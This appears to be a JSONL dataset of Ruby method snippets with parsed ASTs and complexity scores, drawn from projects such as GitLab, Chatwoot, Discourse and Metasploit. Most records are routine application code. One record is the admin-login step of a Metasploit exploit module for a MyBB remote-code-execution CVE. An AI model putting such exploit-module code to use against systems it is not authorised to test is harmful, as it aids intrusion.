+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/mappers/conversation_mapper.rb","start_line":51,"raw_source":"def transcript_messages\n @transcript_messages ||= conversation.messages.chat.select(&:conversation_transcriptable?)\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"transcript_messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@transcript_messages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"messages\"]},\"chat\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation_transcriptable?\"]}]}]}]}]}","id":"bbcbd203-853b-449f-8dc8-8a760213b3c8"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/settings.rb","start_line":50,"raw_source":"def set_working_week_days(*days)\n week_days = get_week_days(*days)\n Setting.working_days += week_days\nend","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_working_week_days\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"days\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"week_days\",{\"type\":\"send\",\"children\":[null,\"get_week_days\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"working_days\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"week_days\"]}]}]}]}","id":"619c69d5-0794-437b-acfb-6684eb668533"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/previews/rapid_diffs/diff_file_component_preview.rb","start_line":204,"raw_source":"def added_big_file\n hunk = \"\n --- a/text_file\n +++ b/text_file\n \"\n file = diff_file_from_hunk(hunk)\n file.define_singleton_method(:too_large?) { true }\n render(::RapidDiffs::DiffFileComponent.new(diff_file: file))\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"added_big_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hunk\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" --- a/text_file\\n\"]},{\"type\":\"str\",\"children\":[\" +++ b/text_file\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"diff_file_from_hunk\",{\"type\":\"lvar\",\"children\":[\"hunk\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"too_large?\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RapidDiffs\"]},\"DiffFileComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_file\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}]}]}","id":"3f35ac0d-9d17-4fc7-aef9-b42c300472f4"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/ranking.rb","start_line":15,"raw_source":"def rank_to_h\n rank_to_s.gsub('Rank', '').downcase\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rank_to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rank_to_s\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"Rank\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"downcase\"]}]}","id":"edfe033b-c350-4a81-a23b-7202afe02b44"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/patch/draw_route.rb","start_line":28,"raw_source":"def draw_route(path)\n if File.exist?(path)\n instance_eval(File.read(path), path.to_s)\n true\n else\n false\n end\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"draw_route\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"to_s\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"5044b39f-fa68-4655-9952-e48268f70851"}
+{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/presenters/mail_presenter.rb","start_line":42,"raw_source":"def text_content\n @decoded_text_content = mail_content(text_part) || ''\n\n encoding = @decoded_text_content.encoding\n\n body = EmailReplyTrimmer.trim(@decoded_text_content)\n\n return {} if @decoded_text_content.blank? || !text_mail_body?\n\n @text_content ||= {\n full: mail_content(text_part),\n reply: @decoded_text_content,\n quoted: body.force_encoding(encoding).encode('UTF-8')\n }\n end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"text_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@decoded_text_content\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail_content\",{\"type\":\"send\",\"children\":[null,\"text_part\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@decoded_text_content\"]},\"encoding\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailReplyTrimmer\"]},\"trim\",{\"type\":\"ivar\",\"children\":[\"@decoded_text_content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@decoded_text_content\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text_mail_body?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@text_content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full\"]},{\"type\":\"send\",\"children\":[null,\"mail_content\",{\"type\":\"send\",\"children\":[null,\"text_part\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply\"]},{\"type\":\"ivar\",\"children\":[\"@decoded_text_content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quoted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"force_encoding\",{\"type\":\"lvar\",\"children\":[\"encoding\"]}]},\"encode\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]}]}]}]}]}","id":"9d849670-43e6-4ebe-a303-a52a666da866"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/work_packages/progress_form.rb","start_line":187,"raw_source":"def field_hint_message(field_name)\n work_package.derived_progress_hint(field_name)&.message\n end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"field_hint_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_name\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"derived_progress_hint\",{\"type\":\"lvar\",\"children\":[\"field_name\"]}]},\"message\"]}]}","id":"0058db6f-bafd-4f15-89ec-e83a966b4007"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/external_upload_helpers.rb","start_line":399,"raw_source":"def render_404(message = nil)\n if message\n render_json_error(message, status: 404)\n else\n raise Discourse::NotFound\n end\n end","complexity_score":4.53,"ast_json":"{\"type\":\"def\",\"children\":[\"render_404\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]}]}","id":"ac55af5d-2352-483c-8aee-cee9e9a155f8"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20251014142227_add_fk_on_sbom_occurrence_refs_for_sbom_occurrences.rb","start_line":7,"raw_source":"def up\n add_concurrent_index :sbom_occurrence_refs,\n :sbom_occurrence_id,\n name: 'idx_sbom_occurrence_refs_on_occurrence_id'\n add_concurrent_foreign_key :sbom_occurrence_refs, :sbom_occurrences, column: :sbom_occurrence_id,\n on_delete: :cascade\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"sbom_occurrence_refs\"]},{\"type\":\"sym\",\"children\":[\"sbom_occurrence_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_sbom_occurrence_refs_on_occurrence_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"sbom_occurrence_refs\"]},{\"type\":\"sym\",\"children\":[\"sbom_occurrences\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"sbom_occurrence_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}","id":"e33f777b-96d0-4661-9e70-8294cc5be79a"}
+{"repo_name":"forem","file_path":"./repos/forem/app/services/survey_completion_service.rb","start_line":2,"raw_source":"def self.check_and_mark_completion(user:, poll:)\n return unless poll.survey.present?\n return unless user.present?\n\n survey = poll.survey\n\n # Check if the survey is now completed by the user\n return unless survey.completed_by_user?(user)\n\n # Mark the survey as completed if it hasn't been marked already\n survey.mark_completed_by_user!(user) unless survey.completion_recorded_for_user?(user)\n end","complexity_score":12.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"check_and_mark_completion\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"poll\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"survey\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"survey\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"survey\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"survey\"]},\"completed_by_user?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"survey\"]},\"completion_recorded_for_user?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"survey\"]},\"mark_completed_by_user!\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}","id":"972927d4-2ebe-44e5-8e4e-858dc170a13c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace_setting.rb","start_line":171,"raw_source":"def jwt_ci_cd_job_token_enabled?\n return true if Feature.enabled?(:ci_job_token_jwt, namespace) && !jwt_ci_cd_job_token_opted_out?\n\n super\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"jwt_ci_cd_job_token_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"ci_job_token_jwt\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jwt_ci_cd_job_token_opted_out?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"36373240-26bf-4e5b-b5f9-85bcbe1f94a1"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/suggestion.rb","start_line":37,"raw_source":"def from_line_index\n from_line - 1\n end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"from_line_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from_line\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"0ed5cd73-8878-4138-9aff-fb53329dd45a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups/projects_requiring_authorizations_refresh/on_direct_membership_finder.rb","start_line":12,"raw_source":"def execute\n project_ids = Set.new\n\n project_ids.merge(ids_of_projects_in_hierarchy_and_project_shares(@group))\n project_ids.merge(ids_of_projects_in_hierarchy_and_project_shares_of_shared_groups(@group))\n\n project_ids.to_a\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"ids_of_projects_in_hierarchy_and_project_shares\",{\"type\":\"ivar\",\"children\":[\"@group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"ids_of_projects_in_hierarchy_and_project_shares_of_shared_groups\",{\"type\":\"ivar\",\"children\":[\"@group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"to_a\"]}]}]}","id":"2c6d793d-8a1b-4dca-a54e-cfd3a4115fee"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/alert_management/base.rb","start_line":35,"raw_source":"def find_object(project_path:, **args)\n project = Project.find_by_full_path(project_path)\n\n return unless project\n\n ::AlertManagement::AlertsFinder.new(current_user, project, args).execute.first\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_object\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_full_path\",{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"AlertManagement\"]},\"AlertsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"execute\"]},\"first\"]}]}]}","id":"ed59a2da-20d1-4336-89b4-f9a97ccbd785"}
+{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1541,"raw_source":"def put(path, opts = {}, &block) route 'PUT', path, opts, &block end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"put\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"route\",{\"type\":\"str\",\"children\":[\"PUT\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"52b8a008-0a91-4071-b452-512bb409a8f4"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":484,"raw_source":"def self.sync_from_file(filename)\n attrs = YAML.load_file(filename)\n sync_from_hash(attrs.merge(\"filename\" => filename))\n end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sync_from_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sync_from_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}]}]}","id":"43be42b1-5a77-4ee6-a32c-61a9c239663d"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/dependency_proxy_for_containers_controller.rb","start_line":215,"raw_source":"def tracking_user\n auth_user if auth_user.is_a?(User)\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"tracking_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},{\"type\":\"send\",\"children\":[null,\"auth_user\"]},null]}]}","id":"0ce6a4b9-acc5-4595-94c3-b97428c3e750"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/mybb_rce_cve_2022_24734.rb","start_line":134,"raw_source":"def login\n vprint_status('Attempting login')\n\n cookie_jar.cleanup(true)\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, '/admin/index.php'),\n 'method' => 'POST',\n 'keep_cookies' => true,\n 'vars_post' => {\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD'],\n 'do' => 'login'\n }\n })\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)\n fail_with(Failure::NoAccess, \"#{peer} - Invalid credentials\")\n end\n\n print_good('Login successful!')\n end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Attempting login\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookie_jar\"]},\"cleanup\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/admin/index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"do\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Logged in as .*\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Invalid credentials\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Login successful!\"]}]}]}]}","id":"971a8665-49b4-481b-bb2f-15cbd32a04e0"}
+{"repo_name":"forem","file_path":"./repos/forem/app/services/notifications/subforem_change_notification/send.rb","start_line":9,"raw_source":"def initialize(article:, old_subforem_id:, new_subforem_id:)\n @article = article\n @old_subforem_id = old_subforem_id\n @new_subforem_id = new_subforem_id\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"article\"]},{\"type\":\"kwarg\",\"children\":[\"old_subforem_id\"]},{\"type\":\"kwarg\",\"children\":[\"new_subforem_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@article\",{\"type\":\"lvar\",\"children\":[\"article\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_subforem_id\",{\"type\":\"lvar\",\"children\":[\"old_subforem_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@new_subforem_id\",{\"type\":\"lvar\",\"children\":[\"new_subforem_id\"]}]}]}]}","id":"f8fe39fd-9c66-40bd-85c5-d4fa44d5ddad"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/graphql/present/field_extension_spec.rb","start_line":26,"raw_source":"def resolve_value\n resolve_field(field, object, current_user: user, object_type: owner)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_field\",{\"type\":\"send\",\"children\":[null,\"field\"]},{\"type\":\"send\",\"children\":[null,\"object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_type\"]},{\"type\":\"send\",\"children\":[null,\"owner\"]}]}]}]}]}","id":"6bc59f16-4f37-4e59-ab17-ee4a893f99b3"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/alert_management/alert_processing.rb","start_line":26,"raw_source":"def complete_post_processing_tasks\n process_incident_issues if process_issues?\n send_alert_email if send_email? && notifying_alert?\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"complete_post_processing_tasks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_issues?\"]},{\"type\":\"send\",\"children\":[null,\"process_incident_issues\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_email?\"]},{\"type\":\"send\",\"children\":[null,\"notifying_alert?\"]}]},{\"type\":\"send\",\"children\":[null,\"send_alert_email\"]},null]}]}]}","id":"14dad287-f207-47cc-8067-f5a4d066a969"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/copy_reports_structure/report_structure.rb","start_line":47,"raw_source":"def self.find_group(group_name)\n group = MiqGroup.where(:description => group_name).first\n abort(\"MiqGroup '#{group_name}' not found\") if group.nil?\n group\n end","complexity_score":6.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqGroup\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"group_name\"]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"abort\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MiqGroup '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},{\"type\":\"str\",\"children\":[\"' not found\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}","id":"3c3ebdb3-a42f-4851-bc1b-0fba1f9c2749"}
